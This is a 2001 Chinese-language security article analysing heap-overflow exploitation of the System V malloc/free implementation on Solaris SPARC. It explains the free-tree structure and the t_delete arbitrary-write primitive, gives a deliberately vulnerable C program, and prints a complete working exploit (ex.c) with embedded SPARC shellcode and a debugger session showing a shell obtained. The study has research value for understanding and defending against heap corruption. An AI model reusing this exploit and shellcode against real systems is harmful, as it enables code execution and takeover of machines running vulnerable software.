◆ System V libc malloc/free溢出技术分析 作者:warning3 < warning3@nsfocus.com > 主页:http://www.nsfocus.com/ 日期:2001-9-10 ★ 前言 有关利用malloc/free实现来进行heap区溢出攻击的方法,我在<<一种新的Heap区溢出 技术分析>>一文中有过介绍。不过那篇是针对在Linux系统下Glibc实现的。不同的操作 系统上采用的malloc的实现可能是不一样的,比如BSD系统、Linux、Solaris 2.x下。 当然,基本的实现方法都是相似的,只是细节上有一些不同。例如, 大部分的malloc 实现中都使用brk/sbrk来动态调整内存,大都采用了链表结构来管理动态分配内存。这 种链表结构中通常都包含一些管理信息,例如当前内存块的大小,内存块是否已经释放 等等。本文中主要介绍的是System V系统中所使用的malloc实现,它是由AT&T开发的。 Solaris和IRIX系统使用的就是这种malloc机制。和Glibc的malloc实现相似,在发生 heap区溢出时,攻击者也可能利用System V malloc实现中的一些特点来取得过程的控 制权。 注:下面所有的代码均在Solaris 7 SPARC下测试通过。 ★ 目录 1. 背景知识 2. System V malloc实现以及利用 3. 一个简单的例子 4. 演示程序 ★ 正文 1. 背景知识 System V的malloc实现是基于一种自调整的二叉树(self-adjusting binary tree) 结构的。 这种实现的基本思路是在一个自调整的二叉树中维护一些空闲(free)元素(内 存块)的表。每个列表包含所有大小相同的元素。整个树是按元素大小进行排序。 例如,如果两个空闲内存块都是1024字节,它们就会位于同一个列表中。 (1) TREE结构: 自调整二叉树中的元素在malloc实现中体现为一个TREE结构: /* structure of a node in the free tree */ typedef struct _t_ { WORD t_s; /* 本元素的大小 */ WORD t_p; /* 父结点 */ WORD t_l; /* 左子结点 */ WORD t_r; /* 右子结点 */ WORD t_n; /* 链表中的下一个结点 */ WORD t_d; /* 为当前块自身的地址(self-pointer)保留的空间 */ } TREE; 为了保证在不同的场合下无需强制对齐,TREE结构中的每个元素被定义为下列联合结构: /* the proto-word; size must be ALIGN bytes */ typedef union _w_ { size_t w_i; /* 无符号整数 */ struct _t_ *w_p; /* 一个结构指针 */ char w_a[ALIGN]; /* 强制对齐 */ } WORD; 这里ALIGN缺省定义为8字节。这意味着WORD结构总是8个字节,但是其中可能只用到了 4字节:整数或者指针成员。 (2) t_s与标志位: TREE结构中的元素t_s包含当前元素(在这里是指已分配的内存块)的大小,这个数值 总是在一个字边界上。这意味着它至少是4的倍数, 因此,t_s的最低两位是不会被用 到的,因此它们被用做标志位: BIT0: 为1 意味着忙(块正被使用), 为0 意味着空闲 BIT1: 如果当前块为忙,且前一块为空闲的话,这一位为1。否则,这一位总是为零。 #define BIT0 (01) /* ...001 */ #define BIT1 (02) /* ...010 */ #define BITS01 (03) /* ...011 */ (3) 对TREE成员进行访问的一些宏定义: /* 得到当前内存块的大小 */ #define SIZE(b) (((b)->t_s).w_i) /* free tree pointers */ /* 获取父结点、左子结点、右子结点指针 */ #define PARENT(b) (((b)->t_p).w_p) #define LEFT(b) (((b)->t_l).w_p) #define RIGHT(b) (((b)->t_r).w_p) /* forward link in lists of small blocks */ #define AFTER(b) (((b)->t_p).w_p) /* forward and backward links for lists in the tree */ /* 链表中指向下一结点的指针 */ #define LINKFOR(b) (((b)->t_n).w_p) /* 链表中指向后一结点的指针 */ #define LINKBAK(b) (((b)->t_p).w_p) (5) 一些获取块信息的宏定义: #define DATA(b) (((char *)(b)) + WORDSIZE) #define BLOCK(d) ((TREE *)(((char *)(d)) - WORDSIZE)) #define SELFP(b) ((TREE **)(((char *)(b)) + SIZE(b))) #define LAST(b) (*((TREE **)(((char *)(b)) - WORDSIZE))) #define NEXT(b) ((TREE *)(((char *)(b)) + SIZE(b) + WORDSIZE)) #define BOTTOM(b) ((DATA(b) + SIZE(b) + WORDSIZE) == Baddr) (6) 一些长度定义: #define WORDSIZE (sizeof (WORD)) #define MINSIZE (sizeof (TREE) - sizeof (WORD)) #define ROUND(s) if (s % WORDSIZE) s += (WORDSIZE - (s % WORDSIZE)) 3. System V malloc实现以及利用 malloc函数系列包括malloc、realloc、calloc、free。 当用户使用malloc()分配一块内存之后,实际的内存布局如下: 0 16 32 chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | 当前块的字节数(t_s) | | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | 父结点指针 (t_p) | mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | 用户数据开始... . . . . (用户可以用空间大小) . . | nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ chunk指针指向内存块包括管理信息的起始地址,mem指针指向用户实际使用的数据区起始 地址。实际上这时只使用了TREE结构中的t_s和t_p。而用户数据则将被保存在t_l开始的 区域。这和glibc的malloc实现比较类似。 如果上面的内存区域被释放,那么整个树结构都被使用,这块内存结构变为: 0 16 32 chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | 当前块的字节数(t_s) | | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | 父结点指针 (t_p) | mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | 左子结点指针 (t_l) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | 右子结点指针 (t_r) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | 链表中下一结点指针(t_n) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | 当前块自身的地址chunk (t_d) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | 未被使用的空间(也可能是0字节长) . . . . | nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | 当前块的字节数(t_s) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 这里我想先介绍一些free()的实现。它和glibc中的实现机制有所不同。 1. 检查当前要被释放的地址是不是上一次释放的地址,以及是否已经被释放。 这保证同一块内存不会重复释放两次。因此,如果程序中错误地多次释放同一个地址 ,并不会造成任何错误。这是和glibc的实现不同的地方。 2. 检查要释放的地址是不是在flist表中,如果已经在表中就直接返回。 flist[]表是一个地址列表。它保存了最近被释放的内存地址,最多可保存FREESIZE (32)个地址。 3. 如果flist表已经满了,那么就调用另外一个函数realfree()来对flist表中的 最后一个地址进行真正的释放,以便腾出一个位置来保存当前要释放的地址。 4. 然后将这个地址添加到flist表中去。并将这个地址赋给Lfree变量,标记为上一次释 放的内存地址。 上面的方法主要是为了提高在有大量free调用时的执行效率,这可以避免每次调用free 都要进行块合并、排序等操作。realfree()函数执行真正的合并操作,它将这个内存块插 入到一个空闲树中去。这个树的根结点是'Root'指针,这个树会按照结点的大小(t_s)进 行排序,它也叫做"splay tree"。 free()过程中实际调用的顺序可能是: free()-->_free_unlocked()-->realfree() 对于那些大小小于MINSIZE(40字节)的内存块,System V使用了另外的处理方式,它没有 将它们保存在二叉树中,而是使用另外一个链表来处理这些内存块的分配与释放。我简单 看了一下,似乎不太可能被利用来进行攻击,有兴趣的读者可以自己去研究一下。 当内存块被realfree()函数处理时,程序会检查其相邻内存块是否是空闲的。如果是的话, 就会进行一些合并操作,这会改变空闲块的大小,因此需要重新将其在二叉树中定位,这 涉及到对二叉树结点的移动、删除操作。这种操作依赖于空闲块结构中的指针,如果我们 可以覆盖并修改这些指针,我们就可能利用正常的合并操作来修改内存。 static void realfree(void *old) { TREE *tp, *sp, *np; size_t ts, size; COUNT(nfree); /* tp指向当前块的其实地址 */ tp = BLOCK(old); ts = SIZE(tp); if (!ISBIT0(ts)) /* t_s的最后一位不能为零,否则,意味着它已经被释放了 */ return; CLRBITS01(SIZE(tp)); /* 将当前块的BIT0和BIT1清零 */ /* small block, put it in the right linked list */ if (SIZE(tp) < MINSIZE) { ASSERT(SIZE(tp) / WORDSIZE >= 1); ts = SIZE(tp) / WORDSIZE - 1; AFTER(tp) = List[ts]; List[ts] = tp; return; } /* 如果是小内存块,使用另外一个链表来进行处理 */ /* see if coalescing with next block is warranted */ np = NEXT(tp); /* 获得下一个相邻块的地址 = tp + SIZE + 8 */ if (!ISBIT0(SIZE(np))) { /* 如果下一个相邻块BIT0为零,也就是说已被释放 */ if (np != Bottom) /* 并且不是Bottom块 */ t_delete(np); /* 那么就从二叉树中删除np */ SIZE(tp) += SIZE(np) + WORDSIZE; /* 将当前块的大小改变为合并后的 大小 */ } .... } 我们可以看到,如果满足下列条件,程序就会执行t_delete函数: 1. 当前块的t_s的最后一位(BIT0)不为零(也就是说当前块不是空闲块) 2. 当前块的大小大于或者等于40字节 3. 下一个相邻块大小(t_s)的最后一位(BIT0)为零(也就是说下一个块是空闲块) 4. 下一个相邻块不是Bottom块 Bottom是处于内存最底部的一个内存块地址,如果超出这个地址就可能发生内存错误。 下面是t_delete函数的部分代码,为了清楚起见,省略了一些代码: static void t_delete(TREE *op) { TREE *tp, *sp, *gp; /* if this is a non-tree node */ if (ISNOTREE(op)) { /* 如果不是非树结点 */ tp = LINKBAK(op); sp = LINKFOR(op); LINKBAK(sp) = tp; LINKFOR(tp) = sp; return; } 上面的操作可以简化成如下代码: tp = op->t_p sp = op->t_n sp->t_p = tp; tp->t_n = sp; 再简化一下: [t_n + (1 * sizeof (WORD))] = t_p [t_p + (4 * sizeof (WORD))] = t_n 由于WORD的定义缺省为8,所以就可变成: [t_n + 8 ] = t_p [t_p + 32 ] = t_n 也就是说,如果我们可以修改内存块op的t_p和t_n,就可以将t_p保存到[t_n + 8]这个地 址中去,将t_n保存到[t_p + 32 ]这个地址中去。也就是说,我们可以将任意4个字节写 到任意一个内存地址中去。这和Glibc中的unlink()非常相似。 当然,要想执行上述代码,还需要满足一个条件:ISNOTREE(op)为真。 这个条件是一个宏定义: #define ISNOTREE(b) (LEFT(b) == (TREE *)(-1)) 也就是要求(((op)->t_l).w_p) == -1. 这样,我们需要满足的条件就变成如下五个: 1. 当前块(tp)的t_s的最后一位(BIT0)不为零(未被释放的块) 2. 当前块(tp)的大小大于或者等于40字节 3. 下一个相邻块(np)大小(t_s)的最后一位(BIT0)为零(已被释放的块) 4. 下一个相邻块(np)不是Bottom块 5. 下一个相邻块(np)的t_l的值为-1 下面是一个在执行realfree(old)调用时内存的示意图: [chunk t_s][chunk t_p][chunk data][chunk1 t_s][chunk1 t_p][chunk1 t_l]..[chunk1 t_n] ^ ^ ^ | | | tp old np 按照上面的图将前面的条件再简化一下: 1. (tp->t_s & BIT0) != 0 2. tp->t_s >= 40 3. (np->t_s & BIT0 ) == 0 4. np != Bottom 5. np->t_l == -1 那么上面的5个条件在实际情况下是否容易满足呢。我们分两种情况考虑: (1) 如果tp开始的内容是我们可以控制的 那么除了第4条之外,其他的4条都很容易满足 (2) 如果我们只能控制old开始的内容 这种情况发生在诸如此类调用时:strcpy(old, largestring)。因此我们不能控制np的 地址,但是可以控制np开始的内容。这种情况下第1、2、4条就依赖程序实现了。 其中,第4条是最不可控制的一条。 对于第(2)中情况: 我们实际要做的,就是伪造一个释放的块(fakechunk),并设法使np指向它。 4B 4B 4B 4B 4B 4B 4B 4B 4B 4B 4B 4B +-----+------+-----+------+-----+------+-----+------+-----+------+-----+------+ | t_s | XXXX | t_p | XXXX | t_l | XXXX | t_r | XXXX | t_n | XXXX | t_d | XXXX | +-----+------+-----+------+-----+------+-----+------+-----+------+-----+------+ | | |<------------------------------ 48B ---------------------------------------->| fake 一个完整的块长度为48字节,其中实际上只用到了每8个字节中的前4字节,其余的可以 用任意数值填充(上图中的"XXXX"部分)。 我们可以按照下面的格式来填充模板: fake->t_s = 0x12345678; /* 这里其实只要保证最后两位为零即可 */ fake->t_p = retaddr - 8; fake->t_l = 0xffffffff; fake->t_n = retloc - 8; 这样,上面的表格就变成了如下内容: 4B 4B 4B 4B +------------+------+-------------+------+ | 0x12345678 | XXXX | retaddr - 8 | XXXX | +------------+------+-------------+------+ | 0xffffffff | XXXX | XXXX | XXXX | +------------+------+-------------+------+ | retloc - 8 | XXXX | XXXX | XXXX | +------------+------+-------------+------+ 注:其中t_r和t_d的内容是我们不需要的,所以也可以使用任意数值填充。 这样在进行t_delete的链表操作时就变成了: [t_n + 8 ] = t_p <==> [retloc ] = retaddr -8 [t_p + 32 ] = t_n <==> [retaddr + 24] = retloc retloc是保存返回地址的内存地址。而retaddr则是shellcode的起始地址。 在SPARC平台下,当函数返回时就刚好跳到(%o7+8)=retaddr处去执行了。由于retaddr+24 处也保存了retloc这个地址,因此前面的24个字节中必须放置一些指令来跳过这个地址。 当然,24个字节足够放置这些指令的了。 在x86平台下,由于函数返回时直接跳到retaddr去执行的,所以可以使用下列模板: fake->t_p = retaddr; fake->t_n = retloc - 8; [t_n + 8 ] = t_p <==> [retloc ] = retaddr [t_p + 32 ] = t_n <==> [retaddr + 32] = retloc - 8 这样我们只需要在retaddr 到 retaddr + 32之间放一些跳转指令跳过retaddr+32处的无效 数据即可。 当然,还有另外两种可能的模板: (1) fake->t_p = retloc - 32 fake->t_n = retaddr - 8 [t_n + 8 ] = t_p <==> [retaddr ] = retloc - 32 [t_p + 32 ] = t_n <==> [retloc ] = retaddr - 8 (2) fake->t_p = retloc - 32 fake->t_n = retaddr [t_n + 8 ] = t_p <==> [retaddr + 8 ] = retloc - 32 [t_p + 32 ] = t_n <==> [retloc ] = retaddr 但是这两种方式只能用在x86平台下,而在SPARC平台下,这种模板会使得retaddr或者 retaddr+8处保存的是retloc -32,这很可能不是一条有效的汇编指令,因此当流程转到 retaddr或者retaddr+8处执行时就能会出错,因此不适用在SPARC平台下。 综上所述,如果old是我们可以开始覆盖的内存块地址,那么为了在realfree(old)时可以 改变程序流程,我们所要做的就是: 1. 使用与old缓冲区相同大小的数据覆盖old缓冲区 2. 在紧接着的np开始的地址构造一个假的空闲块(fake chunk) [chunk t_s][chunk t_p][overflow data][fake chunk] ^ ^ ^ | | | tp old np 我们需要注意的是,我们前面已经讲了free()有一个缓存机制,只有在flist列表已经满了 的情况下,才会真正的调用realfree()来处理。所以需要有多次有效的free之后才可能调 用realfree。对于一些频繁利用动态内存的程序,这也是很有可能的。 另外,实际上只要调用realfree或者t_delete函数的地方都有可能被利用,其他的函数: malloc,realloc,calloc等等也都调用了realfree()。因此,在调用malloc等函数时也可 能会满足利用条件。 其实最根本的一条就是要设法将我们构造的假空闲块传递给t_delete,其余的条件都是为 了使得这个传递能够成功。总结一下: 1. 在内存中创建一个假的空闲块(空闲块填充内容见前面介绍) 2. 设法使假空闲块传递给t_delete. 可以通过realfree一个未释放的缓冲区来实现,这个缓冲区的下一个块要 指向我们创建的假空闲块。为了调用realfree,可能需要再次调用malloc()或 者多次调用free(). 有些函数malloc/realloc中也有直接调用t_delete的地方,这些地方也可能被 利用。 4. 假空闲块的位置不能是Bottom块 5. shellcode中要设置跳转指令以便跳过在删除结点操作时写入的地址 对于第(1)种情况,即tp开始的内容是我们可以控制的情况,往往发生在malloc的时候。 先来看看malloc的过程: static void * _malloc_unlocked(size_t size) { size_t n; TREE *tp, *sp; ROUND(size); /* 确保size可被8整除 */ ... if (Lfree) { /* 首先看一下上一次被释放的内存块是否可以被使用 */ sp = BLOCK(Lfree); /* sp指向上一个被释放的内存块地址 */ n = SIZE(sp); /* 获得上一个被释放块的大小 */ CLRBITS01(n); /* 将标志位清除 */ if (n == size) { .... /* 如果上一个被释放的块比这次要分配的大,就可以利用 */ } else if (size >= MINSIZE && n > size) { ... SIZE(sp) = n; /* 将清除标志之后的大小写回 */ goto leftover; ... leftover: /* if the leftover is enough for a new free piece */ /* 判断剩下的空间是否足以放一个新的空闲块(48字节) */ if ((n = (SIZE(sp) - size)) >= MINSIZE + WORDSIZE) { n -= WORDSIZE; /* n是剩余空闲块的大小 */ SIZE(sp) = size; /* 将本次要分配的大小保存到sp中 */ tp = NEXT(sp); /* tp指向下一个空闲块 */ SIZE(tp) = n|BIT0; /* 将下一个空闲块标记为可用 */ realfree(DATA(tp)); /* realfree 下一个空闲块 */ /* 看一看这个空闲块是否可以和后面的空闲块合并 */ } /* return the allocated space */ SIZE(sp) |= BIT0 | o_bit1; /* 将新分配的内存块标记为可用(忙) */ 上面的基本过程是,首先看看上一次被分配的内存块是否足够大,如果比当前要分配的 内存块大的话,就将上一内存块的地址作为本次分配内存的地址。并重写内存块的大小。 剩余的内存看一看是否够放一个空闲块的,如果够的话,就重新构造一个空闲块,并将其 传给realfree,看看是否可以将其与其他的空闲块合并。 假设我们可以控制上一次被释放的内存(sp),其大小为m字节。要分配的内存块大小为 size字节,且m>size。那么在下一次调用malloc时内存中的变化为: 4B 4B mB +------------+-----------+---------------------------------------------------+ | m | | xxxxxxxxxxxxxxxxxxxxxxxxxxxxx | +------------+-----------+---------------------------------------------------+ sp data 注:我们可以控制从sp开始的内存 首先将sp->t_s的标志位清除: 4B 4B mB +------------+-----------+---------------------------------------------------+ | m & ~BITS01| | xxxxxxxxxxxxxxxxxxxxxxxxxxxxx | +------------+-----------+---------------------------------------------------+ sp data 然后再重新划分空间,并重写t_s。 剩余空间内存块的数据区大小为: n = m - size - 8 起始地址为tp = sp + 8 + size 4B 4B sizeB 4B 4B nB +------------+-----------+----------------------+--------+------+------------+ | size | | | n|BIT0| | | +------------+-----------+----------------------+--------+------+------------+ sp data tp data1(old) 接下来调用的是realfree(data1).现在又回到开始我们介绍的realfree(old)时的情况了: [chunk t_s][chunk t_p][chunk data][chunk1 t_s][chunk1 t_p][chunk1 t_l]..[chunk1 t_n] ^ ^ ^ | | | tp old np 我们可以看到上面的old对应前面的data1处。 只是有点不同的是,这回我们可以控制tp开始的数据了,那么我们只要调整tp->t_s的值, 使其指向我们的fake chunk就可以了。 np = tp + tp->t_s + 8 = tp + (m - size - 8) + 8 = tp - size + m = data + m 由于m是可以控制的,所以np的地址我们就可以指定了。最简单的情况是让m = -8, 这样np就刚好和sp重合。这时候fake->t_s = size。由于这个size在malloc开始的时候 已经被设置为可被8整除,所以它的最后两位肯定是零,就不需要我们再设置了。这样我们 只需要在sp开始的前48个字节中设置一个伪造空闲块即可。 fake->t_s = 0xfffffff9; /* 0xfffffff8 | BIT0 */ fake->t_p = retaddr - 8; fake->t_l = 0xffffffff; fake->t_n = retloc - 8; 上面为什么要设置t_s = 0xfffffff9而不是0xfffffff8呢?我们看下面一个简单的例子: 3. 一个简单的例子 /* - vul.c - * Simple vulnerable program to demostrate free/malloc heap overflow in * Solaris SPARC. * * by warning3 2001.6.9 */ void vulfunc(char *str) { char *m1, *m2, *m3; m1 = (void *) malloc(1024); m2 = (void *) malloc(2048); strcpy(m1, str); /* overflow */ free(m2); /* free m2 */ m3 = (void *) malloc(512); /* boom! */ printf ("Try to free m1\n"); free(m1); free(m3); } int main(int argc, char **argv) { if (argc > 1) vulfunc(argv[1]); else { printf("No enough aruments\n"); exit(0); } } - End vul.c - $ gcc -o vul vul.c -g $ ./vul `perl -e 'print "A"x1024'` Try to free m1 [ OK. 没有什么问题] $ ./vul `perl -e 'print "A"x1028'` Segmentation Fault [ 发生了一个段错误 ] 上面这个程序首先分配了两个缓冲区m1,m2.然后向m1中拷贝一个字符串,由于没有限制长 度,用户可以输入一个很长的字符串来使m1溢出。溢出时会覆盖掉m1和m2之间的一些 malloc管理信息。然后程序释放m2.现在上一个被释放的内存块(Lfree)就是m2了。 注意,这时候m2开头8个字节的管理信息可能已经被覆盖了,所以要想使得free()成功完成 ,必须保证(m2-8)处的t_s设置了可用标记(BIT0为1)。这也就是前面为什么将fake->t_s 设置成(0xfffffff8 | BIT0)的原因。当然,如果我们调换一下,free(m2)和strcpy()的 位置,就不必考虑这些问题了,设置成0xfffffff8还是0xfffffff9都可以。 接下来进行第三次malloc(512)时就会发生段错误。具体过程就和前面我们讲的malloc过程 一样。首先看上一个被释放的块,这里是m2,是否可用。由于我们已经用非零的数覆盖了 m2的t_s,因此t_s肯定是要比512字节大,所以就顺序往下进行直到调用realfree.既然我们 是用'A'填充的,在某些赋值操作时就会发生段访问错误。 因此,实际上(m2-8处)就是前面所讲的sp。这样我们的溢出模板就非常简单了: 前面是1024字节的无用数据,紧接着是48字节的假空闲块。如下图所示: 1024B 8B 2048B [ m1 ]|[ m2's header ][ m2's data ] sp | V 1024B 48B [ AA..AA][fake chunk ] 有了上面的分析,就可以写一个测试程序了。 4. 演示程序 /* * - ex.c - * * exploit for test of free/malloc overflow in Solaris SPARC * * Usages : ./ex [retloc offset] * * * by warning3 2001.9.10 * */ #include #include #include #define RET 0xffbefa0c /* default retrun address (Solaris 7) */ //#define RET 0x41414141 /* for test */ #define SP 0xffbefffc /* default bottom stack address (Solaris 7/8) */ #define VULPROG "/tmp/vul" #define NOP 0xaa1d4015 /* "xor %l5, %l5, %l5" */ char shellcode[] = /* from scz's funny shellcode for * SPARC */ "\x20\xbf\xff\xff" /* bn,a */ "\x20\xbf\xff\xff" /* bn,a */ "\x7f\xff\xff\xff" /* call */ "\xaa\x1d\x40\x15" "\x81\xc3\xe0\x14" /* jmp %o7+20 跳过后面的无用数据 */ "\xaa\x1d\x40\x15" "\xaa\x1d\x40\x15" /* (retaddr - 8 + 32 ) will be overwrote by * (retloc -8) */ /* 普通的shellcode */ "\x20\x80\x49\x73\x20\x80\x62\x61\x20\x80\x73\x65\x20\x80\x3a\x29" "\x7f\xff\xff\xff\x94\x1a\x80\x0a\x90\x03\xe0\x34\x92\x0b\x80\x0e" "\x9c\x03\xa0\x08\xd0\x23\xbf\xf8\xc0\x23\xbf\xfc\xc0\x2a\x20\x07" "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01" "\x91\xd0\x20\x08\x2f\x62\x69\x6e\x2f\x73\x68\xff"; /* 用来准确得到shellcode地址,并设法使其对齐 */ long get_sp(void) { __asm__("mov %sp,%i0"); } long get_shelladdr(long sp_addr, char **arg, char **env) { long retaddr; int i; char plat[256]; char pad = 0, pad1; int env_len, arg_len, len; /* calculate the length of "VULPROG" + argv[] */ for (i = 0, arg_len = 0; arg[i] != NULL; i++) { arg_len += strlen(arg[i]) + 1; } /* calculate the pad nummber . */ pad = 3 - arg_len % 4; printf("shellcode address padding = %d\n", pad); memset(env[0], 'A', pad); env[0][pad] = '\0'; /* get environ length exclude env[0] */ for (i = 1, env_len = 0; env[i] != NULL; i++) { env_len += strlen(env[i]) + 1; } /* get platform info */ sysinfo(SI_PLATFORM, plat, 256); len = env_len + strlen(plat) + 1 + strlen(VULPROG) + 1; printf("stack arguments len = %#x(%d)\n", len, len); pad1 = 8 - (len % 8); printf("the padding zeros number = %d\n\n", pad1); /* get the exact shellcode address */ retaddr = sp_addr - pad1/* the trailing zero number */ - strlen(VULPROG) - 1 - strlen(plat) - 1; for (i--; i > 0; i--) retaddr -= strlen(env[i]) + 1; printf("Using RET address = 0x%x\n", retaddr); return retaddr; } /* End of get_shelladdr */ int main(int argc, char **argv) { char buf[2048], fake_chunk[48]; long retaddr, sp_addr = SP; char *arg[24], *env[24]; char padding[64]; long retloc = RET; unsigned int *ptr; long overbuflen = 1024; if (argc > 1) retloc += atoi(argv[1]); arg[0] = VULPROG; arg[1] = buf; arg[2] = NULL; memset(fake_chunk, '\xff', sizeof(fake_chunk)); bzero(buf, 2048); memset(buf, 'A', overbuflen); /* 用'A'填满前1024字节 */ memcpy(buf + overbuflen, fake_chunk, sizeof(fake_chunk)); env[0] = padding; /* put padding buffer in env */ env[1] = shellcode; /* put shellcode in env */ env[2] = NULL; /* end of env */ /* get stack bottom address */ if (((unsigned char) (get_sp() >> 24)) == 0xef) { /* Solaris 2.6 */ sp_addr = SP - 0x0fbf0000; retloc -= 0x0fbf0000; } /* 得到shellocde的准确地址 */ retaddr = get_shelladdr(sp_addr, arg, env); printf("Using retloc = 0x%x \n", retloc); /* 构造一个假的空闲块 */ ptr = (unsigned int *) fake_chunk; *(ptr + 0) = 0xfffffff9; /* t_s = -8 */ *(ptr + 2) = retaddr - 8; /* t_p */ *(ptr + 8) = retloc - 8; /* t_n */ /* * retaddr -8 + 32 = retaddr + 24 <-- retloc - 8 * retloc - 8 + 8 = retloc <-- retaddr - 8 */ /* 将伪造的块拷贝到1024长的缓冲区后面 */ memcpy(buf + overbuflen, fake_chunk, sizeof(fake_chunk)); execve(VULPROG, arg, env); perror("execle"); } /* End of main */ 唯一要做的就是找到一个retloc地址,比如保存函数返回地址的地方、GOT地址、atexit 结构的地址等等。通常都是使用修改函数返回地址的办法。但是根据测试发现,并不是 所有返回地址修改了都有用,对于上面的程序,只有修改main函数保存的地址才有效。 而realfree/_malloc_unlocked/malloc/vulfunc函数则无效。 测试方法: $ gdb ./ex (gdb) r 11111111111111 (no debugging symbols found)...(no debugging symbols found)... (no debugging symbshellcode address padding = 1 stack arguments len = 0x4be(1214) the padding zeros number = 2 Using RET address = 0xffbeff78 Using retloc = 0x193abbb ols found)... Program received signal SIGTRAP, Trace/breakpoint trap. 0xff3b2960 in ?? () (gdb) c Continuing. (no debugging symbols found)...(no debugging symbols found)... (no debugging symbols found)... Program received signal SIGSEGV, Segmentation fault. 0xff2c61c0 in t_delete () from /usr/lib/libc.so.1 (gdb) symbol-file /tmp/vul Reading symbols from /tmp/vul...(no debugging symbols found)...done. (gdb) bt #0 0xff2c61c0 in t_delete () from /usr/lib/libc.so.1 #1 0xff2c5dfc in realfree () from /usr/lib/libc.so.1 #2 0xff2c5994 in _malloc_unlocked () from /usr/lib/libc.so.1 #3 0xff2c5734 in malloc () from /usr/lib/libc.so.1 #4 0x108f0 in vulfunc () #5 0x10958 in main () (gdb) p/x $fp+60 $1 = 0xffbef86c <-- 测试表明覆盖这个地址内容无效 (gdb) f 1 #1 0xff2c5dfc in realfree () from /usr/lib/libc.so.1 (gdb) p/x $fp+60 $2 = 0xffbef8cc <-- 测试表明覆盖这个地址内容无效 (gdb) f 2 #2 0xff2c5994 in _malloc_unlocked () from /usr/lib/libc.so.1 (gdb) p/x $fp+60 $3 = 0xffbef92c <-- 测试表明覆盖这个地址内容无效 (gdb) f 3 #3 0xff2c5734 in malloc () from /usr/lib/libc.so.1 (gdb) p/x $fp+60 $4 = 0xffbef98c <-- 测试表明覆盖这个地址内容无效 (gdb) f 4 #4 0x108f0 in vulfunc () (gdb) p/x $fp+60 $5 = 0xffbefa0c <-- 测试表明覆盖这个地址内容有效! $ ./ex shellcode address padding = 1 stack arguments len = 0x82(130) the padding zeros number = 6 Using RET address = 0xffbeff74 Using retloc = 0xffbefa0c Try to free m1 $ <--- 成功了 似乎有一种保护机制,使得被覆盖的栈幀又恢复了。具体原因还不清楚。 这种情况在测试xlock的heap溢出时也碰到过,只有覆盖某些特定返回地址才会有效。 你可能不得不暴力猜测有效地址。或者使用一些其他的方法,比如覆盖函数指针,GOT ,atexit结构等等。有兴趣的读者可以试一试。 但是,在x86平台下面则没有上述现象。 综述: 还有一些其他的方法可能被利用,例如realfree()中有下面的语句: /* the last word of the block contains self's address */ *(SELFP(tp)) = tp; 这会将tp放到tp + SIZE(tp)处,我们可能可以覆盖SIZE(tp),就可以将tp保存到任意地 址,但是tp这个地址我们是无法修改的,这个地址处的内容我们也只能部分的控制。在 x86下面是有可能被利用的,在SPARC平台下则希望很小。限于时间,这里我不再详细介绍 了。有兴趣地读者可以自己看一看。 一个实际的例子是xlock的heap溢出,有兴趣的读者可以结合它来加深理解: 中联绿盟安全公告(SA2001-05): http://www.nsfocus.com/sa01-05.htm 由于时间仓促,错误疏漏之处难免,希望多多指正。 参考文献: [1]. Solaris 8 源码 [2]. anonymous , 《Once upon a free()...》 http://www.phrack.org/show.php?p=57&a=9